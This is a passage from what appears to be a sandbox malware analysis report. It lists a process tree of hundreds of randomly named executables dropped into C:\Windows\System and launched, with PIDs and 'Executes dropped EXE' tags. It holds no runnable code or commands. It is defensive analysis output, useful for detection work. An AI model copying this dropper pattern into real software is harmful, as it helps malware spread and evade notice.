  2⤵
  - Executes dropped EXE
  PID:328
- C:\Windows\System\vuoYmZM.exe
  C:\Windows\System\vuoYmZM.exe
  2⤵
  - Executes dropped EXE
  PID:900
- C:\Windows\System\WnZmAoA.exe
  C:\Windows\System\WnZmAoA.exe
  2⤵
  - Executes dropped EXE
  PID:2948
- C:\Windows\System\NFiwTAw.exe
  C:\Windows\System\NFiwTAw.exe
  2⤵
  - Executes dropped EXE
  PID:2304
- C:\Windows\System\rGfAcCw.exe
  C:\Windows\System\rGfAcCw.exe
  2⤵
  - Executes dropped EXE
  PID:300
- C:\Windows\System\myvlnVq.exe
  C:\Windows\System\myvlnVq.exe
  2⤵
  - Executes dropped EXE
  PID:1968
- C:\Windows\System\zGUPEwL.exe
  C:\Windows\System\zGUPEwL.exe
  2⤵
  - Executes dropped EXE
  PID:1340
- C:\Windows\System\IdMMuES.exe
  C:\Windows\System\IdMMuES.exe
  2⤵
  - Executes dropped EXE
  PID:1520
- C:\Windows\System\BsXfrPI.exe
  C:\Windows\System\BsXfrPI.exe
  2⤵
  - Executes dropped EXE
  PID:2488
- C:\Windows\System\OBwaOBI.exe
  C:\Windows\System\OBwaOBI.exe
  2⤵
  - Executes dropped EXE
  PID:1764
- C:\Windows\System\FaUUklc.exe
  C:\Windows\System\FaUUklc.exe
  2⤵
  - Executes dropped EXE
  PID:2316
- C:\Windows\System\ogFRozi.exe
  C:\Windows\System\ogFRozi.exe
  2⤵
  - Executes dropped EXE
  PID:792
- C:\Windows\System\OhESTdu.exe
  C:\Windows\System\OhESTdu.exe
  2⤵
  - Executes dropped EXE
  PID:892
- C:\Windows\System\FVYiXUl.exe
  C:\Windows\System\FVYiXUl.exe
  2⤵
  - Executes dropped EXE
  PID:2560
- C:\Windows\System\QoAYVcd.exe
  C:\Windows\System\QoAYVcd.exe
  2⤵
  - Executes dropped EXE
  PID:1736
- C:\Windows\System\OAurAmn.exe
  C:\Windows\System\OAurAmn.exe
  2⤵
  - Executes dropped EXE
  PID:1392
- C:\Windows\System\gPUetqL.exe
  C:\Windows\System\gPUetqL.exe
  2⤵
  - Executes dropped EXE
  PID:2508
- C:\Windows\System\nEgVvpF.exe
  C:\Windows\System\nEgVvpF.exe
  2⤵
  - Executes dropped EXE
  PID:2192
- C:\Windows\System\PYmTPsD.exe
  C:\Windows\System\PYmTPsD.exe
  2⤵
  - Executes dropped EXE
  PID:2804
- C:\Windows\System\srhLPJB.exe
  C:\Windows\System\srhLPJB.exe
  2⤵
  - Executes dropped EXE
  PID:2656
- C:\Windows\System\HnOcjYX.exe
  C:\Windows\System\HnOcjYX.exe
  2⤵
  - Executes dropped EXE
  PID:1656
- C:\Windows\System\GLNcCUc.exe
  C:\Windows\System\GLNcCUc.exe
  2⤵
  - Executes dropped EXE
  PID:1220
- C:\Windows\System\vpFCYNg.exe
  C:\Windows\System\vpFCYNg.exe
  2⤵
  - Executes dropped EXE
  PID:2836
- C:\Windows\System\gqNFYlj.exe
  C:\Windows\System\gqNFYlj.exe
  2⤵
  - Executes dropped EXE
  PID:2976
- C:\Windows\System\vnFdsTa.exe
  C:\Windows\System\vnFdsTa.exe
  2⤵
  - Executes dropped EXE
  PID:2328
- C:\Windows\System\tGnRBuR.exe
  C:\Windows\System\tGnRBuR.exe
  2⤵
  - Executes dropped EXE
  PID:2660
- C:\Windows\System\mVwZQkm.exe
  C:\Windows\System\mVwZQkm.exe
  2⤵
  - Executes dropped EXE
  PID:616
- C:\Windows\System\PiFeyax.exe
  C:\Windows\System\PiFeyax.exe
  2⤵
  - Executes dropped EXE
  PID:1400
- C:\Windows\System\AwwAEeL.exe
  C:\Windows\System\AwwAEeL.exe
  2⤵
  - Executes dropped EXE
  PID:1216
- C:\Windows\System\wkModOb.exe
  C:\Windows\System\wkModOb.exe
  2⤵
  - Executes dropped EXE
  PID:2912
- C:\Windows\System\GPtXuCF.exe
  C:\Windows\System\GPtXuCF.exe
  2⤵
  - Executes dropped EXE
  PID:1164
- C:\Windows\System\pdPFaxH.exe
  C:\Windows\System\pdPFaxH.exe
  2⤵
  - Executes dropped EXE
  PID:2312
- C:\Windows\System\YfsFYwf.exe
  C:\Windows\System\YfsFYwf.exe
  2⤵
  - Executes dropped EXE
  PID:2472
- C:\Windows\System\SRWcdXb.exe
  C:\Windows\System\SRWcdXb.exe
  2⤵
  - Executes dropped EXE
  PID:1016
- C:\Windows\System\aEVsETN.exe
  C:\Windows\System\aEVsETN.exe
  2⤵
  PID:692
- C:\Windows\System\BFhTKwC.exe
  C:\Windows\System\BFhTKwC.exe
  2⤵
  PID:1612
- C:\Windows\System\ukpmmqf.exe
  C:\Windows\System\ukpmmqf.exe
  2⤵
  PID:944
- C:\Windows\System\VqIoVAN.exe
  C:\Windows\System\VqIoVAN.exe
  2⤵
  PID:2408
- C:\Windows\System\zRHvHjg.exe
  C:\Windows\System\zRHvHjg.exe
  2⤵
  PID:2164
- C:\Windows\System\hFDSmBB.exe
  C:\Windows\System\hFDSmBB.exe
  2⤵
  PID:1740
- C:\Windows\System\OMUAJti.exe
  C:\Windows\System\OMUAJti.exe
  2⤵
  PID:2292
- C:\Windows\System\mPhjObS.exe
  C:\Windows\System\mPhjObS.exe
  2⤵
  PID:1836
- C:\Windows\System\rBzWMJf.exe
  C:\Windows\System\rBzWMJf.exe
  2⤵
  PID:2280
- C:\Windows\System\npRwmZV.exe
  C:\Windows\System\npRwmZV.exe
  2⤵
  PID:2372
- C:\Windows\System\fEAfvLj.exe
  C:\Windows\System\fEAfvLj.exe
  2⤵
  PID:1756
- C:\Windows\System\xioHbUK.exe
  C:\Windows\System\xioHbUK.exe
  2⤵
  PID:2648
- C:\Windows\System\njKYuTi.exe
  C:\Windows\System\njKYuTi.exe
  2⤵
  PID:2744
- C:\Windows\System\NOPyASi.exe
  C:\Windows\System\NOPyASi.exe
  2⤵
  PID:2848
- C:\Windows\System\vlMTjAn.exe
  C:\Windows\System\vlMTjAn.exe
  2⤵
  PID:2616
- C:\Windows\System\GogRGVj.exe
  C:\Windows\System\GogRGVj.exe
  2⤵
  PID:2428
- C:\Windows\System\fcGaXce.exe
  C:\Windows\System\fcGaXce.exe
  2⤵
  PID:1180
- C:\Windows\System\QcJwpJQ.exe
  C:\Windows\System\QcJwpJQ.exe
  2⤵
  PID:2120
- C:\Windows\System\KfGhNEg.exe
  C:\Windows\System\KfGhNEg.exe
  2⤵
  PID:1596
- C:\Windows\System\SLKCluN.exe
  C:\Windows\System\SLKCluN.exe
  2⤵
  PID:2844
- C:\Windows\System\ynpJhpP.exe
  C:\Windows\System\ynpJhpP.exe
  2⤵
  PID:1252
- C:\Windows\System\iMbdswD.exe
  C:\Windows\System\iMbdswD.exe
  2⤵
  PID:1236
- C:\Windows\System\FQxfPUi.exe
  C:\Windows\System\FQxfPUi.exe
  2⤵
  PID:1996
- C:\Windows\System\RldUonB.exe
  C:\Windows\System\RldUonB.exe
  2⤵
  PID:1812
- C:\Windows\System\GHFIKVE.exe
  C:\Windows\System\GHFIKVE.exe
  2⤵
  PID:3048
- C:\Windows\System\NgZYyEl.exe
  C:\Windows\System\NgZYyEl.exe
  2⤵
  PID:1188
- C:\Windows\System\fNbrBXt.exe
  C:\Windows\System\fNbrBXt.exe
  2⤵
  PID:1620
- C:\Windows\System\LpDvvkz.exe
  C:\Windows\System\LpDvvkz.exe
  2⤵
  PID:3000
- C:\Windows\System\ILQcmVE.exe
  C:\Windows\System\ILQcmVE.exe
  2⤵
  PID:2308
- C:\Windows\System\EdsUhhj.exe
  C:\Windows\System\EdsUhhj.exe
  2⤵
  PID:1880
- C:\Windows\System\nQnISoz.exe
  C:\Windows\System\nQnISoz.exe
  2⤵
  PID:2992
- C:\Windows\System\RvSQfEy.exe
  C:\Windows\System\RvSQfEy.exe
  2⤵
  PID:800
- C:\Windows\System\zPtFUJt.exe
  C:\Windows\System\zPtFUJt.exe
  2⤵
  PID:2940
- C:\Windows\System\lQbfwhR.exe
  C:\Windows\System\lQbfwhR.exe
  2⤵
  PID:1876
- C:\Windows\System\EBZqzxe.exe
  C:\Windows\System\EBZqzxe.exe
  2⤵
  PID:2796
- C:\Windows\System\JtOkDnr.exe
  C:\Windows\System\JtOkDnr.exe
  2⤵
  PID:2712
- C:\Windows\System\aDodAQC.exe
  C:\Windows\System\aDodAQC.exe
  2⤵
  PID:2988
- C:\Windows\System\gWVXHuu.exe
  C:\Windows\System\gWVXHuu.exe
  2⤵
  PID:1800
- C:\Windows\System\nRLcTZm.exe
  C:\Windows\System\nRLcTZm.exe
  2⤵
  PID:2244
- C:\Windows\System\IembnSr.exe
  C:\Windows\System\IembnSr.exe
  2⤵
  PID:2696
- C:\Windows\System\fTWsxFy.exe
  C:\Windows\System\fTWsxFy.exe
  2⤵
  PID:2564
- C:\Windows\System\EyVdVZP.exe
  C:\Windows\System\EyVdVZP.exe
  2⤵
  PID:2820
- C:\Windows\System\DFVLJqQ.exe
  C:\Windows\System\DFVLJqQ.exe
  2⤵
  PID:1708
- C:\Windows\System\dGMwbyQ.exe
  C:\Windows\System\dGMwbyQ.exe
  2⤵
  PID:2604
- C:\Windows\System\WlSwKKE.exe
  C:\Windows\System\WlSwKKE.exe
  2⤵
  PID:320
- C:\Windows\System\OMsHJGJ.exe
  C:\Windows\System\OMsHJGJ.exe
  2⤵
  PID:2092
- C:\Windows\System\BndnHQf.exe
  C:\Windows\System\BndnHQf.exe
  2⤵
  PID:1160
- C:\Windows\System\jHHjteT.exe
  C:\Windows\System\jHHjteT.exe
  2⤵
  PID:1536
- C:\Windows\System\HUjXVJt.exe
  C:\Windows\System\HUjXVJt.exe
  2⤵
  PID:2024
- C:\Windows\System\xDxEIeb.exe
  C:\Windows\System\xDxEIeb.exe
  2⤵
  PID:2420
- C:\Windows\System\fFidwlo.exe
  C:\Windows\System\fFidwlo.exe
  2⤵
  PID:2868
- C:\Windows\System\CzySFFS.exe
  C:\Windows\System\CzySFFS.exe
  2⤵
  PID:2904
- C:\Windows\System\ruowuBY.exe
  C:\Windows\System\ruowuBY.exe
  2⤵
  PID:1104
- C:\Windows\System\PLbWKMf.exe
  C:\Windows\System\PLbWKMf.exe
  2⤵
  PID:1828
- C:\Windows\System\FZftjyd.exe
  C:\Windows\System\FZftjyd.exe
  2⤵
  PID:1456
- C:\Windows\System\MjMsZnO.exe
  C:\Windows\System\MjMsZnO.exe
  2⤵
  PID:2768
- C:\Windows\System\jjkDfZc.exe
  C:\Windows\System\jjkDfZc.exe
  2⤵
  PID:2872
- C:\Windows\System\pFGFstJ.exe
  C:\Windows\System\pFGFstJ.exe
  2⤵
  PID:1776
- C:\Windows\System\LNpYeZB.exe
  C:\Windows\System\LNpYeZB.exe
  2⤵
  PID:380
- C:\Windows\System\cSHzDun.exe
  C:\Windows\System\cSHzDun.exe
  2⤵
  PID:1980
- C:\Windows\System\tMXkvRy.exe
  C:\Windows\System\tMXkvRy.exe
  2⤵
  PID:2036
- C:\Windows\System\ZGDekje.exe
  C:\Windows\System\ZGDekje.exe
  2⤵
  PID:2752
- C:\Windows\System\fTWPwHS.exe
  C:\Windows\System\fTWPwHS.exe
  2⤵
  PID:1084
- C:\Windows\System\SgXqKjK.exe
  C:\Windows\System\SgXqKjK.exe
  2⤵
  PID:2252
- C:\Windows\System\expChSc.exe
  C:\Windows\System\expChSc.exe
  2⤵
  PID:1792
- C:\Windows\System\xPvvRBg.exe
  C:\Windows\System\xPvvRBg.exe
  2⤵
  PID:1092
- C:\Windows\System\rSjRqLr.exe
  C:\Windows\System\rSjRqLr.exe
  2⤵
  PID:1616
- C:\Windows\System\QLHbRRr.exe
  C:\Windows\System\QLHbRRr.exe
  2⤵
  PID:2932
- C:\Windows\System\QnrnmIU.exe
  C:\Windows\System\QnrnmIU.exe
  2⤵
  PID:1600
- C:\Windows\System\FPbpwSi.exe
  C:\Windows\System\FPbpwSi.exe
  2⤵
  PID:3076
- C:\Windows\System\ZoGvEHX.exe
  C:\Windows\System\ZoGvEHX.exe
  2⤵
  PID:3092
- C:\Windows\System\AaXRYSv.exe
  C:\Windows\System\AaXRYSv.exe
  2⤵
  PID:3108
- C:\Windows\System\uxzXPJw.exe
  C:\Windows\System\uxzXPJw.exe
  2⤵
  PID:3124
- C:\Windows\System\ZgssfJT.exe
  C:\Windows\System\ZgssfJT.exe
  2⤵
  PID:3140
- C:\Windows\System\uoAvtJN.exe
  C:\Windows\System\uoAvtJN.exe
  2⤵
  PID:3156
- C:\Windows\System\fnyXSTs.exe
  C:\Windows\System\fnyXSTs.exe
  2⤵
  PID:3260
- C:\Windows\System\tStsdFD.exe
  C:\Windows\System\tStsdFD.exe
  2⤵
  PID:3276
- C:\Windows\System\rCXoLbk.exe
  C:\Windows\System\rCXoLbk.exe
  2⤵
  PID:3292
- C:\Windows\System\zeQQeGs.exe
  C:\Windows\System\zeQQeGs.exe
  2⤵
  PID:3308
- C:\Windows\System\QXpKXrp.exe
  C:\Windows\System\QXpKXrp.exe
  2⤵
  PID:3328
- C:\Windows\System\ixnNhLo.exe
  C:\Windows\System\ixnNhLo.exe
  2⤵
  PID:3344
- C:\Windows\System\ZaGmsWd.exe
  C:\Windows\System\ZaGmsWd.exe
  2⤵
  PID:3360
- C:\Windows\System\LTWvzUg.exe
  C:\Windows\System\LTWvzUg.exe
  2⤵
  PID:3376
- C:\Windows\System\ipYwgpc.exe
  C:\Windows\System\ipYwgpc.exe
  2⤵
  PID:3392
- C:\Windows\System\cELOaaQ.exe
  C:\Windows\System\cELOaaQ.exe
  2⤵
  PID:3412
- C:\Windows\System\UGldexr.exe
  C:\Windows\System\UGldexr.exe
  2⤵
  PID:3428
- C:\Windows\System\gKugkcD.exe
  C:\Windows\System\gKugkcD.exe
  2⤵
  PID:3504
- C:\Windows\System\osvPqjo.exe
  C:\Windows\System\osvPqjo.exe
  2⤵
  PID:3524
- C:\Windows\System\hcHADfB.exe
  C:\Windows\System\hcHADfB.exe
  2⤵
  PID:3540
- C:\Windows\System\NMxmTJJ.exe
  C:\Windows\System\NMxmTJJ.exe
  2⤵
  PID:3564
- C:\Windows\System\gWDRjza.exe
  C:\Windows\System\gWDRjza.exe
  2⤵
  PID:3584
- C:\Windows\System\IefsjQv.exe
  C:\Windows\System\IefsjQv.exe
  2⤵
  PID:3604
- C:\Windows\System\MizyNGj.exe
  C:\Windows\System\MizyNGj.exe
  2⤵
  PID:3624
- C:\Windows\System\qFWwvTJ.exe
  C:\Windows\System\qFWwvTJ.exe
  2⤵
  PID:3644
- C:\Windows\System\iMRtuhg.exe
  C:\Windows\System\iMRtuhg.exe
  2⤵
  PID:3660
- C:\Windows\System\naSBGxl.exe
  C:\Windows\System\naSBGxl.exe
  2⤵
  PID:3676
- C:\Windows\System\belPyvF.exe
  C:\Windows\System\belPyvF.exe
  2⤵
  PID:3692
- C:\Windows\System\FQeUlwR.exe
  C:\Windows\System\FQeUlwR.exe
  2⤵
  PID:3708
- C:\Windows\System\ieoRBtk.exe
  C:\Windows\System\ieoRBtk.exe
  2⤵
  PID:3724
- C:\Windows\System\grYiLqW.exe
  C:\Windows\System\grYiLqW.exe
  2⤵
  PID:3744
- C:\Windows\System\GdfcufW.exe
  C:\Windows\System\GdfcufW.exe
  2⤵
  PID:3760
- C:\Windows\System\kmGClpM.exe
  C:\Windows\System\kmGClpM.exe
  2⤵
  PID:3776
- C:\Windows\System\sBgZcnW.exe
  C:\Windows\System\sBgZcnW.exe
  2⤵
  PID:3792
- C:\Windows\System\ibJqnIz.exe
  C:\Windows\System\ibJqnIz.exe
  2⤵
  PID:3808
- C:\Windows\System\IvBXjlN.exe
  C:\Windows\System\IvBXjlN.exe
  2⤵
  PID:3824
- C:\Windows\System\ZdPMpeE.exe
  C:\Windows\System\ZdPMpeE.exe
  2⤵
  PID:3840
- C:\Windows\System\FVkZayv.exe
  C:\Windows\System\FVkZayv.exe
  2⤵
  PID:3860
- C:\Windows\System\dWQgIaq.exe
  C:\Windows\System\dWQgIaq.exe
  2⤵
  PID:3876
- C:\Windows\System\VqyFXzD.exe
  C:\Windows\System\VqyFXzD.exe
  2⤵
  PID:3892
- C:\Windows\System\CTWyaju.exe
  C:\Windows\System\CTWyaju.exe
  2⤵
  PID:3908
- C:\Windows\System\diiTnMJ.exe
  C:\Windows\System\diiTnMJ.exe
  2⤵
  PID:3924
- C:\Windows\System\fbrqpds.exe
  C:\Windows\System\fbrqpds.exe
  2⤵
  PID:3940
- C:\Windows\System\trAqQjs.exe
  C:\Windows\System\trAqQjs.exe
  2⤵
  PID:3956
- C:\Windows\System\nrfCpXO.exe
  C:\Windows\System\nrfCpXO.exe
  2⤵
  PID:3972
- C:\Windows\System\ZHbcfZL.exe
  C:\Windows\System\ZHbcfZL.exe
  2⤵
  PID:3988
- C:\Windows\System\pfTLuqe.exe
  C:\Windows\System\pfTLuqe.exe
  2⤵
  PID:4012
- C:\Windows\System\jrhUfEt.exe
  C:\Windows\System\jrhUfEt.exe
  2⤵
  PID:4028
- C:\Windows\System\VuxyFbI.exe
  C:\Windows\System\VuxyFbI.exe
  2⤵
  PID:4044
- C:\Windows\System\qWaQSui.exe
  C:\Windows\System\qWaQSui.exe
  2⤵
  PID:4060
- C:\Windows\System\wkIcZCs.exe
  C:\Windows\System\wkIcZCs.exe
  2⤵
  PID:4076
- C:\Windows\System\cnlwPmE.exe
  C:\Windows\System\cnlwPmE.exe
  2⤵
  PID:2356
- C:\Windows\System\sFxORUR.exe
  C:\Windows\System\sFxORUR.exe
  2⤵
  PID:2200
- C:\Windows\System\vDYMYmm.exe
  C:\Windows\System\vDYMYmm.exe
  2⤵
  PID:3180
- C:\Windows\System\baVSOWR.exe
  C:\Windows\System\baVSOWR.exe
  2⤵
  PID:3192
- C:\Windows\System\KOLWHGf.exe
  C:\Windows\System\KOLWHGf.exe
  2⤵
  PID:3208
- C:\Windows\System\kaDkMRD.exe
  C:\Windows\System\kaDkMRD.exe
  2⤵
  PID:3224
- C:\Windows\System\CFUIRKk.exe
  C:\Windows\System\CFUIRKk.exe
  2⤵
  PID:3240
- C:\Windows\System\bmbqBCQ.exe
  C:\Windows\System\bmbqBCQ.exe
  2⤵
  PID:3256
- C:\Windows\System\qxtozul.exe
  C:\Windows\System\qxtozul.exe
  2⤵
  PID:3320
- C:\Windows\System\GNPRzwH.exe
  C:\Windows\System\GNPRzwH.exe
  2⤵
  PID:2028
- C:\Windows\System\KBAtSjP.exe
  C:\Windows\System\KBAtSjP.exe
  2⤵
  PID:3424
- C:\Windows\System\mOFNKCf.exe
  C:\Windows\System\mOFNKCf.exe
  2⤵
  PID:3088
- C:\Windows\System\LuUJsRY.exe
  C:\Windows\System\LuUJsRY.exe
  2⤵
  PID:3400
- C:\Windows\System\AsAgygp.exe
  C:\Windows\System\AsAgygp.exe
  2⤵
  PID:3068
- C:\Windows\System\jMJuoyX.exe
  C:\Windows\System\jMJuoyX.exe
  2⤵
  PID:2444
- C:\Windows\System\HmUxigd.exe
  C:\Windows\System\HmUxigd.exe
  2⤵
  PID:3120
- C:\Windows\System\RAktERG.exe
  C:\Windows\System\RAktERG.exe
  2⤵
  PID:3304
- C:\Windows\System\RvahDHo.exe
  C:\Windows\System\RvahDHo.exe
  2⤵
  PID:3404
- C:\Windows\System\DVZYFBM.exe
  C:\Windows\System\DVZYFBM.exe
  2⤵
  PID:3456
- C:\Windows\System\jullpWB.exe
  C:\Windows\System\jullpWB.exe
  2⤵
  PID:3476
- C:\Windows\System\JiGqgUA.exe
  C:\Windows\System\JiGqgUA.exe
  2⤵
  PID:3488
- C:\Windows\System\gFbRrcb.exe
  C:\Windows\System\gFbRrcb.exe
  2⤵
  PID:2688
- C:\Windows\System\TadIWbf.exe
  C:\Windows\System\TadIWbf.exe
  2⤵
  PID:3520
- C:\Windows\System\bvdYLwy.exe
  C:\Windows\System\bvdYLwy.exe
  2⤵
  PID:2016
- C:\Windows\System\kBwExnd.exe
  C:\Windows\System\kBwExnd.exe
  2⤵
  PID:3532
- C:\Windows\System\bJVdSRl.exe
  C:\Windows\System\bJVdSRl.exe
  2⤵
  PID:2588
- C:\Windows\System\JIEbIDk.exe
  C:\Windows\System\JIEbIDk.exe
  2⤵
  PID:2468
- C:\Windows\System\pdBZlch.exe
  C:\Windows\System\pdBZlch.exe
  2⤵
  PID:3592
- C:\Windows\System\jSTMHex.exe
  C:\Windows\System\jSTMHex.exe
  2⤵
  PID:3612
- C:\Windows\System\GfLFWvC.exe
  C:\Windows\System\GfLFWvC.exe
  2⤵
  PID:3668
- C:\Windows\System\uKPAmos.exe
  C:\Windows\System\uKPAmos.exe
  2⤵
  PID:3616
- C:\Windows\System\tIzwLFk.exe
  C:\Windows\System\tIzwLFk.exe
  2⤵
  PID:3736
- C:\Windows\System\EHOfCok.exe
  C:\Windows\System\EHOfCok.exe
  2⤵
  PID:3868
- C:\Windows\System\DpLdQRJ.exe
  C:\Windows\System\DpLdQRJ.exe
  2⤵
  PID:3772
- C:\Windows\System\rolhdFY.exe
  C:\Windows\System\rolhdFY.exe
  2⤵
  PID:3716
- C:\Windows\System\xWPVlQM.exe
  C:\Windows\System\xWPVlQM.exe
  2⤵
  PID:3932
- C:\Windows\System\NGIBnnK.exe
  C:\Windows\System\NGIBnnK.exe
  2⤵
  PID:3996
- C:\Windows\System\HkEvRRC.exe
  C:\Windows\System\HkEvRRC.exe
  2⤵
  PID:2072
- C:\Windows\System\sAbKUHH.exe
  C:\Windows\System\sAbKUHH.exe
  2⤵
  PID:3100
- C:\Windows\System\iRkYGCo.exe
  C:\Windows\System\iRkYGCo.exe
  2⤵
  PID:2504
- C:\Windows\System\enldBJb.exe
  C:\Windows\System\enldBJb.exe
  2⤵
  PID:2600
- C:\Windows\System\DZfntbS.exe
  C:\Windows\System\DZfntbS.exe
  2⤵
  PID:3752
- C:\Windows\System\tveqmhq.exe
  C:\Windows\System\tveqmhq.exe
  2⤵
  PID:2476
- C:\Windows\System\SDLERty.exe
  C:\Windows\System\SDLERty.exe
  2⤵
  PID:3816
- C:\Windows\System\nQnNcNW.exe
  C:\Windows\System\nQnNcNW.exe
  2⤵
  PID:4052
- C:\Windows\System\CsfpMFQ.exe
  C:\Windows\System\CsfpMFQ.exe
  2⤵
  PID:3176
- C:\Windows\System\YoJCWTx.exe
  C:\Windows\System\YoJCWTx.exe
  2⤵
  PID:3388
- C:\Windows\System\uFzSlOy.exe
  C:\Windows\System\uFzSlOy.exe
  2⤵
  PID:3340
- C:\Windows\System\BNvTyKn.exe
  C:\Windows\System\BNvTyKn.exe
  2⤵
  PID:3448
- C:\Windows\System\eVUYgdm.exe
  C:\Windows\System\eVUYgdm.exe
  2⤵
  PID:2352
- C:\Windows\System\QDEaecN.exe
  C:\Windows\System\QDEaecN.exe
  2⤵
  PID:3472
- C:\Windows\System\ncsZdZS.exe
  C:\Windows\System\ncsZdZS.exe
  2⤵
  PID:3560
- C:\Windows\System\lgtULGe.exe
  C:\Windows\System\lgtULGe.exe
  2⤵
  PID:2928
- C:\Windows\System\YJZRlRE.exe
  C:\Windows\System\YJZRlRE.exe
  2⤵
  PID:3732
- C:\Windows\System\ALrzMEp.exe
  C:\Windows\System\ALrzMEp.exe
  2⤵
  PID:4008
- C:\Windows\System\pXOIFbm.exe
  C:\Windows\System\pXOIFbm.exe
  2⤵
  PID:4072
- C:\Windows\System\HASVwBi.exe
  C:\Windows\System\HASVwBi.exe
  2⤵
  PID:2704
- C:\Windows\System\yYYqomA.exe
  C:\Windows\System\yYYqomA.exe
  2⤵
  PID:3200
- C:\Windows\System\DimVabd.exe
  C:\Windows\System\DimVabd.exe
  2⤵
  PID:3236
- C:\Windows\System\kVBwPUd.exe
  C:\Windows\System\kVBwPUd.exe
  2⤵
  PID:2020
- C:\Windows\System\FFsxHlG.exe
  C:\Windows\System\FFsxHlG.exe
  2⤵
  PID:2740
- C:\Windows\System\rgbBSfI.exe
  C:\Windows\System\rgbBSfI.exe
  2⤵
  PID:1772
- C:\Windows\System\hVAurCl.exe
  C:\Windows\System\hVAurCl.exe
  2⤵
  PID:336
- C:\Windows\System\NKZZvMl.exe
  C:\Windows\System\NKZZvMl.exe
  2⤵
  PID:1608
- C:\Windows\System\IyBpJNu.exe
  C:\Windows\System\IyBpJNu.exe
  2⤵
  PID:908
- C:\Windows\System\gSawJlh.exe
  C:\Windows\System\gSawJlh.exe
  2⤵
  PID:3152
- C:\Windows\System\VFOLBmT.exe
  C:\Windows\System\VFOLBmT.exe
  2⤵
  PID:1816
- C:\Windows\System\tRTgOfG.exe
  C:\Windows\System\tRTgOfG.exe
  2⤵
  PID:3920
- C:\Windows\System\PMxfHyA.exe
  C:\Windows\System\PMxfHyA.exe
  2⤵
  PID:3484
- C:\Windows\System\GYrdxcm.exe
  C:\Windows\System\GYrdxcm.exe
  2⤵
  PID:3980
- C:\Windows\System\IWaZDXE.exe
  C:\Windows\System\IWaZDXE.exe
  2⤵
  PID:2812
- C:\Windows\System\xuEUcwH.exe
  C:\Windows\System\xuEUcwH.exe
  2⤵
  PID:2480
- C:\Windows\System\IIhmfvg.exe
  C:\Windows\System\IIhmfvg.exe
  2⤵
  PID:4188
- C:\Windows\System\oUVpBRa.exe
  C:\Windows\System\oUVpBRa.exe
  2⤵
  PID:4228
- C:\Windows\System\CIrzouX.exe
  C:\Windows\System\CIrzouX.exe
  2⤵
  PID:4244
- C:\Windows\System\fncvFYs.exe
  C:\Windows\System\fncvFYs.exe
  2⤵
  PID:4260
- C:\Windows\System\nRgZZHI.exe
  C:\Windows\System\nRgZZHI.exe
  2⤵
  PID:4276
- C:\Windows\System\OXRGqie.exe
  C:\Windows\System\OXRGqie.exe
  2⤵
  PID:4296
- C:\Windows\System\BqTRVSl.exe
  C:\Windows\System\BqTRVSl.exe
  2⤵
  PID:4312
- C:\Windows\System\EKvmGVz.exe
  C:\Windows\System\EKvmGVz.exe
  2⤵
  PID:4328
- C:\Windows\System\TRwaujr.exe
  C:\Windows\System\TRwaujr.exe
  2⤵
  PID:4344
- C:\Windows\System\lXxgeUJ.exe
  C:\Windows\System\lXxgeUJ.exe
  2⤵
  PID:4360
- C:\Windows\System\katLxRK.exe
  C:\Windows\System\katLxRK.exe
  2⤵
  PID:4416
- C:\Windows\System\nYjMtbI.exe
  C:\Windows\System\nYjMtbI.exe
  2⤵
  PID:4432
- C:\Windows\System\SSuONfu.exe
  C:\Windows\System\SSuONfu.exe
  2⤵
  PID:4448
- C:\Windows\System\smbuYyB.exe
  C:\Windows\System\smbuYyB.exe
  2⤵
  PID:4464
- C:\Windows\System\BICoMuk.exe
  C:\Windows\System\BICoMuk.exe
  2⤵
  PID:4480
- C:\Windows\System\gYzwnzQ.exe
  C:\Windows\System\gYzwnzQ.exe
  2⤵
  PID:4496
- C:\Windows\System\qTVrFID.exe
  C:\Windows\System\qTVrFID.exe
  2⤵
  PID:4524
- C:\Windows\System\CQLhDUi.exe
  C:\Windows\System\CQLhDUi.exe
  2⤵
  PID:4544
- C:\Windows\System\AlEMpYw.exe
  C:\Windows\System\AlEMpYw.exe
  2⤵
  PID:4568
- C:\Windows\System\rJDlnIN.exe
  C:\Windows\System\rJDlnIN.exe
  2⤵
  PID:4592
- C:\Windows\System\PENgfYO.exe
  C:\Windows\System\PENgfYO.exe
  2⤵
  PID:4608
- C:\Windows\System\vexsrtn.exe
  C:\Windows\System\vexsrtn.exe
  2⤵
  PID:4624
- C:\Windows\System\zQLJVZa.exe
  C:\Windows\System\zQLJVZa.exe
  2⤵
  PID:4644
- C:\Windows\System\uAJnjPQ.exe
  C:\Windows\System\uAJnjPQ.exe
  2⤵
  PID:4660
- C:\Windows\System\xFYKyHd.exe
  C:\Windows\System\xFYKyHd.exe
  2⤵
  PID:4676
- C:\Windows\System\aKXqADy.exe
  C:\Windows\System\aKXqADy.exe
  2⤵
  PID:4692
- C:\Windows\System\TzumtuB.exe
  C:\Windows\System\TzumtuB.exe
  2⤵
  PID:4712
- C:\Windows\System\dYIJAGz.exe
  C:\Windows\System\dYIJAGz.exe
  2⤵
  PID:4728
- C:\Windows\System\zrjmMqR.exe
  C:\Windows\System\zrjmMqR.exe
  2⤵
  PID:4744
- C:\Windows\System\TauNlgQ.exe
  C:\Windows\System\TauNlgQ.exe
  2⤵
  PID:4760
- C:\Windows\System\JqtDTVj.exe
  C:\Windows\System\JqtDTVj.exe
  2⤵
  PID:4776
- C:\Windows\System\vhBgcUP.exe
  C:\Windows\System\vhBgcUP.exe
  2⤵
  PID:4800
- C:\Windows\System\MHKrlUj.exe
  C:\Windows\System\MHKrlUj.exe
  2⤵
  PID:4832
- C:\Windows\System\BfSLUIq.exe
  C:\Windows\System\BfSLUIq.exe
  2⤵
  PID:4876
- C:\Windows\System\mIGxmbN.exe
  C:\Windows\System\mIGxmbN.exe
  2⤵
  PID:4892
- C:\Windows\System\aOVRgeh.exe
  C:\Windows\System\aOVRgeh.exe
  2⤵
  PID:4908
- C:\Windows\System\ybusIpe.exe
  C:\Windows\System\ybusIpe.exe
  2⤵
  PID:4928
- C:\Windows\System\cJQzYJH.exe
  C:\Windows\System\cJQzYJH.exe
  2⤵
  PID:4948
- C:\Windows\System\nhVSOny.exe
  C:\Windows\System\nhVSOny.exe
  2⤵
  PID:4964
- C:\Windows\System\fUDYDyK.exe
  C:\Windows\System\fUDYDyK.exe
  2⤵
  PID:4980
- C:\Windows\System\cVaVvgS.exe
  C:\Windows\System\cVaVvgS.exe
  2⤵
  PID:5000
- C:\Windows\System\uJfCfXv.exe
  C:\Windows\System\uJfCfXv.exe
  2⤵
  PID:5020
- C:\Windows\System\QofHSkA.exe
  C:\Windows\System\QofHSkA.exe
  2⤵
  PID:5036
- C:\Windows\System\kBFdImz.exe
